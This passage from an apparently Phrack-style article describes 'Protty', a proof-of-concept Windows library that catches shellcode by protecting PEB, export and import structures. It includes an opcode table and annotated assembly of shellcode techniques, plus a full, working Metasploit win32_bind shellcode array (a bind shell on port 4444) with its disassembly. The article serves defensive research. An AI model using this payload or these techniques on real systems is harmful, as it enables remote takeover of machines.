AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A5              A [disp32+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A6              A [disp32+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A7              A [disp32+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A8              A [disp32+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A9              A [disp32+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AA              A [disp32+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AB              A [disp32+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AC              A [disp32+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AD              A [disp32+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AE              A [disp32+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               AF              A [disp32+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B0              A [disp32+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B1              A [disp32+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B2              A [disp32+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B3              A [disp32+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B4              A [disp32+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B5              A [disp32+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B6              A [disp32+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B7              A [disp32+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B8              A [disp32+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               B9              A [disp32+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               BA              A [disp32+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               BB              A [disp32+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
A               BC              A [disp32+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               BD              A [disp32+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               BE              A [disp32+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               BF              A [disp32+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C0              A EAX/AX/AL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C1              A ECX/CX/CL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C2              A EDX/DX/DL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C3              A EBX/BX/BL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C4              A ESP/SP/AH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C5              A EBP/BP/CH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C6              A ESI/SI/DH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C7              A EDI/DI/BH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C8              A EAX/AX/AL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               C9              A ECX/CX/CL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CA              A EDX/DX/DL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CB              A EBX/BX/BL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CC              A ESP/SP/AH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CD              A EBP/BP/CH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CE              A ESI/SI/DH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               CF              A EDI/DI/BH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D0              A EAX/AX/AL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D1              A ECX/CX/CL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D2              A EDX/DX/DL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D3              A EBX/BX/BL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D4              A ESP/SP/AH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D5              A EBP/BP/CH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D6              A ESI/SI/DH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D7              A EDI/DI/BH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D8              A EAX/AX/AL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               D9              A ECX/CX/CL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               DA              A EDX/DX/DL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               DB              A EBX/BX/BL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               DC              A ESP/SP/AH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               DD              A EBP/BP/CH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               DE              A ESI/SI/DH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
        A               DF              A EDI/DI/BH, EBX/BX/BL
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E0              A EAX/AX/AL, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E1              A ECX/CX/CL, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E2              A EDX/DX/DL, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E3              A EBX/BX/BL, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E4              A ESP/SP/AH, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E5              A EBP/BP/CH, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E6              A ESI/SI/DH, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E7              A EDI/DI/BH, ESP/SP/AH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E8              A EAX/AX/AL, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               E9              A ECX/CX/CL, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               EA              A EDX/DX/DL, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               EB              A EBX/BX/BL, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               EC              A ESP/SP/AH, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               ED              A EBP/BP/CH, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               EE              A ESI/SI/DH, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               EF              A EDI/DI/BH, EBP/BP/CH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F0              A EAX/AX/AL, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F1              A ECX/CX/CL, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F2              A EDX/DX/DL, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F3              A EBX/BX/BL, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F4              A ESP/SP/AH, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F5              A EBP/BP/CH, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F6              A ESI/SI/DH, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F7              A EDI/DI/BH, ESI/SI/DH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F8              A EAX/AX/AL, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               F9              A ECX/CX/CL, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FA              A EDX/DX/DL, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FB              A EBX/BX/BL, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FC              A ESP/SP/AH, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FD              A EBP/BP/CH, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FE              A ESI/SI/DH, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        A               FF              A EDI/DI/BH, EDI/DI/BH
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

As you can see 03h covers "[EBX], EAX/AX/AL". And that’s the thing we
needed.Now mechanism knows it should scan EAX and EBX registers and update

them if their values are "similiar" to address of "DECOYS". Of course the register checking method could be more efficient (should also check more opcodes etc. etc.) - maybe in next versions.

In the mechanism i have used the table listed above, anyway there is also "another" ("primary") way to determine what registers are used. The way is based on fact that ModR/M byte contains three fields of information (Mod, Reg/Opcode, R/M). By checking bits of those entries we can determine what registers are used by the instruction (surely interesting tables from Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently working on disassembler engine, so all those codes related to "opcode decoding" topic should be released in the nearest future. And probably if Protty project will be continued i will exchange the z0mbie dissassembler engine with my own, anyway his baby works very well.

If you are highly interrested in disassembling the instructions, check the [8].

To see how it works, check following example:

```
        ;----------SNIP--------------------------------------------
        mov   eax,fs:[30h]
        mov   eax,[eax+0ch]
        mov   esi,[eax+1ch]     ; value changed by protector,ESI=DDDDDDDDh
        lodsd                   ; load one dword <- causes exception
        ;----------SNIP--------------------------------------------
```

This example faults on "lodsd" instruction, because application is trying to load 4 bytes from invalid location - ESI (because it was changed by P2).

Prevention library takeovers the exception and checks the instruction. This one is "lodsd" so instead of ModR/M byte (because there is no such here) library checks the opcode. When it finds out it is "lodsd" instruction, it scans and updates ESI. Finally the ESI (in this case) is rewritten to 0241F28h (original) and the execution is continued including the "BAD" instruction.

So that's how P2 works, a lot faster then its older brother P1.

--[VI.   Action - few samples of catched shellcodes

If you have studied descriptions of all of the mechanisms, it is time to show where/when Protty prevents them.

Lets take a look at examples of all mechanisms described in paragraph IV.

PEB (Process Environment Block) parsing

```
        ;----------SNIP--------------------------------------------
        mov eax,dword ptr fs:[30h]      ; EAX is now PEB base
        mov eax,dword ptr [eax+0ch]     ; EAX+0Ch = PEB_LDR_DATA

        mov esi,dword ptr [eax+1ch]     ; get the first entry
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^
               |
                ---- [P1-I1]

        mov ebx,[esi+08h]               ; EBX=ntdll imagebase
        ^^^^^^^^^^^^^^^^^
                |
                 ------- [P2-I1]

        <rest code of PEB parser>
        ;----------SNIP--------------------------------------------
```

- Description for P1

In this example Protty catches the shellcode when the instruction marked as [P1-I1] is executed. Since Protty has protected the PEB_LDR_DATA region (it's marked as PAGE_NOACCESS) all references to it will cause an access violation which will be filtered by Protty.
Here, shellcode is trying to get first entry from PEB_LDR_DATA structure, this causes an exception and this way shellcode is catched - attack failed.

- Description for P2

The mechanism is being activated when [P2-I1] instruction is being executed. ESI value is redirected to invalid location so every reference to it cause an access violation exception, this is filtered by the installed prevention mechanism - in short words: attack failed, shellcode was catched.

searching for kernel in memory

I think here code is not needed, anyway when/where protty will act in this case? As you probably remember from paragraph IV the kernel search code works together with SEH (structured exception handler) frame. Everytime shellcode tries invalid location SEH frame handles the exception and the search procedure is continued. When Protty is active shellcode doesn't have any "second chance" - what does it mean? It means that when shellcode will check invalid location (by using SEH) the exception will be filtered by Protty mechanism, in short words shellcode will be catched - attack failed.

There are also some shellcodes that search the main shellcode in memory also using SEH frames. Generally the idea is to develop small shellcode which will only search for the main one stored somewhere in memory. Since here SEH frames are also used, such type of shellcodes will be also catched.

export section parsing

We are assuming that the attacker has grabbed the imagebase in unknown way :) (full code in IV-th chapter - i don't want to past it here)

```
        ;----------SNIP--------------------------------------------
        ; EAX=imagebase of kernel32.dll

        xor ebp,ebp                   ; zero the counter
        mov ebx,[eax+3ch]             ; get pe header
        add ebx,eax                   ; normalize

        <...snip...>

        loop_it:
        mov edi,[ecx]                 ; get one name
        add edi,eax                   ; normalize
        cmp dword ptr [edi+4],'Acor'  ; is it GetP-rocA-ddress ?? :)
        jne @l                        ; nope -> jump to @l

                                      ; yes it is
        add esi,ebp                   ; add out counter
        mov esi,[esi]                 ; get the address
        ^^^^^^^^^^^^^
```

```
                |
                 ---[I1]

        add esi,eax                    ; normalize
        int 3                          ; ESI=address of GetProcAddress

        @l:
        <...snip...>

        ;----------SNIP--------------------------------------------
```

- Description for P1 and P2

Following example is being catched when [I1] instruction is being executed - when it tries to read the address of GetProcAddress from array with function addresses. Since function addresses array is "protected" all references to it will cause access violation exception, which will be filtered by the mechanism (like in previous points). Shellcode catched, attack failed.

import section parsing

```
        ;----------SNIP--------------------------------------------
        ;following example gets LoadLibraryA address from IAT

        IMAGEBASE              equ 00400000h

        mov ebx,IMAGEBASE
        mov eax,ebx
        add eax,[eax+3ch]                     ; PE header

        mov edi,[eax+80h]                     ; import RVA
        ^^^^^^^^^^^^^^^^^
                |
                 ----[I1]

        add edi,ebx                           ; normalize
        xor ebp,ebp

        mov edx,[edi+10h]                     ; pointer to addresses
        ^^^^^^^^^^^^^^^^^
                |
                 ----[I2]

        add edx,ebx                           ; normalize

        <...snip...>

        ;----------SNIP--------------------------------------------
```

- Description for P1 and P2

After instruction marked as [I1] is executed, EDI should contain the import section RVA, why should? because since the protection is active import section RVA is faked. In next step (look at instruction [I2]) this will cause access violation exception (because of the fact that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode will be catched. Attack failed also in this case.

There is also a danger that attacker can hardcode IAT RVA. For such cases import section array of function names is also protected.
Look at following code:

```
        ;----------SNIP--------------------------------------------

        <...snip...>
```

```
        @loop:
        mov eax,[esi]
        ^^^^^^^^^^^^^
                |
                 --[I1]

        add eax,ebx
        add eax,2
        cmp dword ptr [eax],'daoL'           ; is this LoadLibraryA?

        <...snip...>

        ;----------SNIP--------------------------------------------
```

Instruction [I1] is trying to access memory which is not accessible
(protection mechanism changed it) and in the result of
this exception is generated. Protty filters the access violation
and kills the shellcode - this attack also failed.

And the last example, some shellcode from metasploit.com:

win32_bind by metasploit.com

EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub

(replace "data" with "data" from protty_example/sample_bo.c then
recompile and run)

```
unsigned char data[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
"\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
"\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
"\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
"\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
"\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
"\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
"\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
"\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
"\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
"\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9"
"\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4"
"\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd"
"\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52"
"\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8"
"\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46"
"\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7"
"\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4"
"\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a"
"\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd"
"\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5";
```

Disassembly:

```
0012FD68   90               NOP
0012FD69   90               NOP
0012FD6A   90               NOP
0012FD6B   90               NOP
0012FD6C   90               NOP
0012FD6D   90               NOP
0012FD6E   90               NOP
0012FD6F   90               NOP
0012FD70   90               NOP
0012FD71   90               NOP
0012FD72   90               NOP
0012FD73   31C9             XOR ECX,ECX
0012FD75   83E9 AF          SUB ECX,-51
0012FD78   D9EE             FLDZ
```

```
0012FD7A   D97424 F4        FSTENV (28-BYTE) PTR SS:[ESP-C]
0012FD7E   5B               POP EBX
0012FD7F   8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597
0012FD86   83EB FC          SUB EBX,-4
0012FD89  ^E2 F4            LOOPD SHORT 0012FD7F        ; DECODING LOOP

decoded data:

0012FD8B   FC               CLD
0012FD8C   6A EB            PUSH -15
0012FD8E   4F               DEC EDI
0012FD8F   E8 F9FFFFFF      CALL 0012FD8D               ; [!]
0012FD94   60               PUSHAD
0012FD95   8B6C24 24        MOV EBP,DWORD PTR SS:[ESP+24]
0012FD99   8B45 3C          MOV EAX,DWORD PTR SS:[EBP+3C]
0012FD9C   8B7C05 78        MOV EDI,DWORD PTR SS:[EBP+EAX+78]
0012FDA0   01EF             ADD EDI,EBP
0012FDA2   8B4F 18          MOV ECX,DWORD PTR DS:[EDI+18]
0012FDA5   8B5F 20          MOV EBX,DWORD PTR DS:[EDI+20]
0012FDA8   01EB             ADD EBX,EBP

...

[!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE

(PARSING PEB BLOCK ROUTINE)
0012FDDE   31C0             XOR EAX,EAX
0012FDE0   64:8B40 30       MOV EAX,DWORD PTR FS:[EAX+30]
0012FDE4   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]
0012FDE7   8B70 1C          MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1]
0012FDEA   AD               LODS DWORD PTR DS:[ESI]       ; [!!-P2]
```

[!!-P1] - protty (P1) takeovers the program execution when instruction at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being executed, application is terminated, attack failed.

[!!-P2] - P2 works like above, but the execution is redirected when lodsd instruction is executed.

--[VII. Bad points (what you should know) - TODO

I have tested Protty2 (P2) with:

- Microsoft Internet Explorer
- Mozilla Firefox
- Nullsoft Winamp
- Mozilla Thunderbird
- Winrar
- Putty
- Windows Explorer

and few others applications, it worked fine with 2-5 module protected (the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much bigger CPU usage! You can define the number of protected modules etc. etc. to make it suitable for your machine/software. The GOOD point is that protected memory region is not requested all the time, generally only on loading new modules (so it don’t eat CPU a lot).

However there probably are applications which will not be working stable with protty. I think decreasion of protection methods can make the mechanism more stable however it will also decrease the security level.

Anyway it seems to be more stable than XP SP2 :)) I’m preparing for exams so I don’t really have much time to spend it on Protty, so while working with it remember this is a kind of POC code.

TODO:

!!! DEFINETLY IMPORTANT !!!

- add SEH all chain checker

- code optimization, less code, more *speeeeeed *

- add vectored exception handling checker

- add some registry keys/loaders to inject it automatically to
  started application

(if anybody want to play with Protty1):

- add some align calculation procedure for VirtualProtect, to describe
  region size more deeply.

  Anyway I made SAFE_MEMORY_MODE (new!), here is the description:

  When protty reaches the point where it checks the memory region
  which caused exception, it checks if it's protected.

  Due to missing of align procedure for (VirtualProtect), Protty region
  comparing procedure can be not stable (well rare cases :)) - and
  to prevent such cases i made SAFE_MEMORY_MODE.

  In this case Protty doesn't check if memory which caused exception
  is laying somewhere inside protected region table. Instead of this
  Protty gets actual protection of this memory address (Im using
  VirtualProtect - not the VirtualQuery because it fails on special
  areas). Then it checks that actual protection is set to
  PAGE_NOACCESS if so, Protty deprotects all protected regions and
  checks the protection again, if it was changed it means that
  requested memory lays somewhere inside of protected regions.
  The rest of mechanism is the same (i think it is even more
  better then align procedure, anyway it seems to work well)

  (you can turn on safe mode via editing the prot/conf.inc and rebuilding
  the library)

--[VIII. Last words

In the end I would like to say there is a lot to do (this is a concept), but I had a nice time coding this little thingie. It is based on pretty new ideas, new technology, new stuffs. This description is short and not well documented, like I said better test it yourself and see the effect. Sorry for my bad english and all the *lang* things. If you got any comments or sth drop me an email.

Few thanks fliez to (random order):
- K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb

"some birds werent meant to be caged, their feathers are just too bright."
                                    - Stephen King, Shawshank Redemption

--[IX. References

[1] - VirtualQuery API
    - msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp

[2] - MEMORY_BASIC_INFORMATION structure
    - msdn.microsoft.com/library/en-us/ memory/base/memory_basic_
      information_str.asp

[3] - IsBadWritePtr API
